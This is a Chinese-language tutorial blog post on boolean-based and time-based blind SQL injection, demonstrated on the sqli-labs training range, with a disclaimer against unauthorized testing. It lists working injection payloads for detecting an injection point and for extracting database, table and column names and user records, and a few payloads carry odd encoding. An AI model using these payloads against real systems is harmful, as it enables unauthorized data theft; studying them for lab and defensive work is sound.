SQL bool盲注和时间盲注详解

目录
  • 一、bool盲注和时间盲注常用函数
  • 二、bool盲注和时间盲注payload
    • 1、SQL注入点探测
    • 2、猜解数据库名
    • 3、猜解表名
    • 4、猜解字段名
    • 5、猜解数据

今天继续给大家介绍Linux运维相关知识,本文主要内容是SQL bool盲注和时间盲注。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、bool盲注和时间盲注常用函数

1、休眠函数
sleep()是SQL语句中用于休眠的函数,时间盲注中常用,sleep(x)可以让程序休眠x秒。
2、字符串截取函数
字符串截取函数是bool盲注和时间盲注中都需要使用的函数。常用的字符串截取函数有mid()、substr()、left()。
mid()函数格式为:

mid(【目标字段】,【开始的位置】,【截取长度】)

其中,开始的位置默认从1开始。
substr()函数的用法与mid相似,left函数则默认从字段的最左边开始截取,其格式为:

left(【目标字段】,【截取长度】)

表示从目标字段的左边开始截取指定长度的字符。
3、字符串长度函数
字符串长度函数length()会应用在SQL bool盲注和时间盲注中,length()函数可以反馈目标字符串的长度。
4、ascii码转换函数
ascii码转换函数可以将一个字符转换成ascii码,在SQL基于时间的盲注和基于bool的盲注中,ascii码转换函数可以将一个字符转换成其ascii码值。常用的ascii码转换函数为ascii()、ord()。
5、条件判断函数
条件判断函数if是SQL时间盲注中的必用函数,可以利用if函数来根据条件来反馈不同的结果。
if函数格式如下所示:

if(【条件】,【值1】,【值2】)

当条件成立时,if函数返回值1,当条件不成立时,if函数返回值2.

二、bool盲注和时间盲注payload

1、SQL注入点探测

我们使用sqli_lab的靶场,对基于bool的盲注和基于时间的盲注进行讲解,在sqli_lab靶场中,基于bool的盲注是第8关,基于时间的盲注是第9关,页面如下所示:

对于bool类型的盲注,我们可以通过执行以下payload来探测是否存在注入点:

id=1'and 1=2#

如果显示异常,那么就说明and后面的内容被成功执行,因此可能存在bool类型的SQL注入。
对于时间类型的盲注,我们可以通过执行以下payload来探测是否存在注入点:

id=1'and sleep(10)#

如果网页反应时间出现了明显延迟,就说明存在基于时间的SQL注入。

2、猜解数据库名

bool类型的盲注猜解数据库长度payload如下所示:

id=1'and length(database())>10#

时间类型的盲注猜解数据库长度payload如下所示:

id=1'and sleep(if(length(database())>10,10,1))>10#

bool类型的盲注猜解数据库名称payload如下所示:

id=1'and ascii(mid(database(),1,1))>115#

时间类型的盲注猜解数据库名称payload如下所示:

id=1'and sleep(if(ascii(mid(database(),1,1))>115,10,1))#

上述四个payload,length函数用于反馈查询结果的长度,mid函数用于截取查询结果的指定字符,ascii函数用于将其转换为ascii码的形式,if函数中第一个参数为一个判断表达式,本质上是bool类型盲注的核心,后面的10和1分别为表达式成立或者不成立条件下的返回值,该返回值为sleep函数的输入,以此就可以控制网页反应的时间。

3、猜解表名

bool类型的盲注表名个数猜解payload如下所示:

id=1'and (select count(*) from information_schema.tables where table_schema=database())>2#

时间类型的盲注表名个数猜解payload如下所示:

id=1'and sleep(if((select count(*) from information_schema.tables where table_schema=database())>2,10,1))#

bool类型的盲注表名猜解payload如下所示:

id=1'and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100#

时间类型的盲注表名猜解payload如下所示:

id=1'and sleep(if((ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100),10,1))#

在上述4个payload中,其原理与之前介绍的相似,但是是使用limit函数来不断的控制反馈的变量。

4、猜解字段名

bool类型的盲注字段名个数猜解payload如下所示:

id=1'and (select count(*) from information_schema.columns where table_name='users'and table_schema=database())>1#

时间类型的盲注字段名个数猜解payload如下所示:

id=1'and sleep(if((select count(*) from information_schema.columns where table_name='users'and table_schema=database())>1,10,1))#

bool类型的盲注字段名个数猜解payload如下所示:

id=1'and ascii(mid((select% column_name from information_schema.columns where%20table_name='users'and table_schema=database() limit 0,1),1,1))>1000#

时间类型的盲注字段名个数猜解payload如下所示:

id=1'and sleep(if(ascii(mid((select% column_name from information_schema.columns where%20table_name='users'and table_schema=database() limit 0,1),1,1))>1000,10,1))#

其原理与之前类似。

5、猜解数据

bool类型的盲注数据长度猜解payload如下所示:

id=1'and (select count(*) from users)>1#

时间类型的盲注数据长度猜解payload如下所示:

id=1'and sleep(if((select count(*) from users)>1,10,1))#

bool类型的盲注数据猜解payload如下所示:

id=1'and ascii(mid((select username from users limit 0,1),1,1))>1#

时间类型的盲注数据猜解payload如下所示:

id=1'and sleep(if(ascii(mid((select username from users limit 0,1),1,1))>1,10,1))#

到此这篇关于SQL bool盲注和时间盲注详解的文章就介绍到这了,更多相关SQL bool盲注和时间盲注内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • Mysql 设置boolean类型的操作

    Mysql 设置boolean类型 1.tinyint类型 我们创建test表,并设置其bl字段为boolean类型 create table test( id int PRIMARY key, status boolean ) 这样是可以创建成功.查看建表后的语句会发现,mysql把它替换成tinyint(1). tinyint只能存储从0到255的整数,由于MySql中没有boolean类型,所以会用到tinyint[1]类型来表示,在mysql中boolean=tinyint[1] 0代表

  • SQL bool盲注和时间盲注详解

    目录 一.bool盲注和时间盲注常用函数 二.bool盲注和时间盲注payload 1.SQL注入点探测 2.猜解数据库名 3.猜解表名 4.猜解字段名 5.猜解数据 今天继续给大家介绍Linux运维相关知识,本文主要内容是SQL bool盲注和时间盲注. 免责声明:本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!再次强调:严禁对未授权设备进行渗透测试! 一.bool盲注和时间盲注常用函数 1.休眠函数sleep()是SQL语句中用于休眠的函数,时间盲注

  • Mysql系列SQL查询语句书写顺序及执行顺序详解

    目录 1.一个完整SQL查询语句的书写顺序 2.一个完整的SQL语句执行顺序 3.关于select和having执行顺序谁前谁后的说明 1.一个完整SQL查询语句的书写顺序 -- "mysql语句编写顺序" 1 select distinct * 2 from 表(或结果集) 3 where - 4 group by -having- 5 order by - 6 limit start,count -- 注:1.2属于最基本语句,必须含有. -- 注:1.2可以与3.4.5.6中任一

  • Sql Server 开窗函数Over()的使用实例详解

    利用over(),将统计信息计算出来,然后直接筛选结果集 declare @t table( ProductID int, ProductName varchar(20), ProductType varchar(20), Price int) insert @t select 1,'name1','P1',3 union all select 2,'name2','P1',5 union all select 3,'name3','P2',4 union all select 4,'name4

  • SQL行转列和列转行代码详解

    行列互转,是一个经常遇到的需求.实现的方法,有case when方式和2005之后的内置pivot和unpivot方法来实现. 在读了技术内幕那一节后,虽说这些解决方案早就用过了,却没有系统性的认识和总结过.为了加深认识,再总结一次. 行列互转,可以分为静态互转,即事先就知道要处理多少行(列);动态互转,事先不知道处理多少行(列). --创建测试环境 USE tempdb; GO IF OBJECT_ID('dbo.Orders') IS NOT NULL DROP TABLE dbo.Orde

  • CAMediaTiming ( 时间协议)详解及实例代码

    CAMediaTiming ( 时间协议)详解 有一种通过CAAnimation实现的协议叫做CAMediaTiming,也就是CABasicAnimation和CAKeyframeAnimation的基类(指CAAnimation).像duration,beginTime和repeatCount这些时间相关的属性都在这个类中.大体而言,协议中定义了8个属性,这些属性通过一些方式结合在一起,准确的控制着时间.文档中每个属性只有几句话,所以很有可能在看这篇文章之前你都已经读过了,但是我觉得使用可视

  • 基于python时间处理方法(详解)

    在处理数据和进行机器学习的时候,遇到了大量需要处理的时间序列.比如说:数据库读取的str和time的转化,还有time的差值计算.总结一下python的时间处理方面的内容. 一.字符串和时间序列的转化 time.strptime():字符串=>时间序列 time.strftime():时间序列=>字符串 import time start = "2017-01-01" end = "2017-8-12" startTime = time.strptime

  • C/C++如何获取当前系统时间的实例详解

     C/C++如何获取当前系统时间的实例详解 C库中与系统时间相关的函数定义在<time.h>头文件中, C++定义在<ctime>头文件中. 一.time(time_t*)函数 函数定义如下: time_t time (time_t* timer); 获取系统当前日历时间 UTC 1970-01-01 00:00:00开始的unix时间戳 参数:timer 存取结果的时间指针变量,类型为time_t,指针变量可以为null.如果timer指针非null,则time()函数返回值变量

  • SQL Server中identity(自增)的用法详解

    一.identity的基本用法 1.含义 identity表示该字段的值会自动更新,不需要我们维护,通常情况下我们不可以直接给identity修饰的字符赋值,否则编译时会报错 2.语法 列名 数据类型 约束 identity(m,n) m表示的是初始值,n表示的是每次自动增加的值 如果m和n的值都没有指定,默认为(1,1) 要么同时指定m和n的值,要么m和n都不指定,不能只写其中一个值,不然会出错 3.实例演示 不指定m和n的值 create table student1 ( sid int p

  • Java Stopwatch类,性能与时间计时器案例详解

    在研究性能的时候,完全可以使用Stopwatch计时器计算一项技术的效率.但是有时想知道某想技术的性能的时候,又常常想不起可以运用Stopwatch这个东西,太可悲了. 属性: Elapsed 获取当前实例测量得出的总运行时间. ElapsedMilliseconds  获取当前实例测量得出的总运行时间(以毫秒为单位). ElapsedTicks  获取当前实例测量得出的总运行时间(用计时器计时周期表示). IsRunning   获取一个指示 Stopwatch 计时器是否在运行的值. 方法

  • Go语言学习之时间函数使用详解

    目录 引言 1. 时间格式化 2. 示例 引言 1946年2月14日,人类历史上公认的第一台现代电子计算机“埃尼阿克”(ENIAC)诞生. 计算机语言时间戳是以1970年1月1日0点为计时起点时间的.计算机诞生为1946年2月14日,而赋予生命力时间是从1970年1月1日0点开始. Hour 1小时=60分钟 Minute 1分钟=60秒 Second 1秒=1000毫秒 Millsecond 1毫秒=1000微秒 Microsecond 1微秒=1000纳秒 Nanoseco 1纳秒 1. 时

随机推荐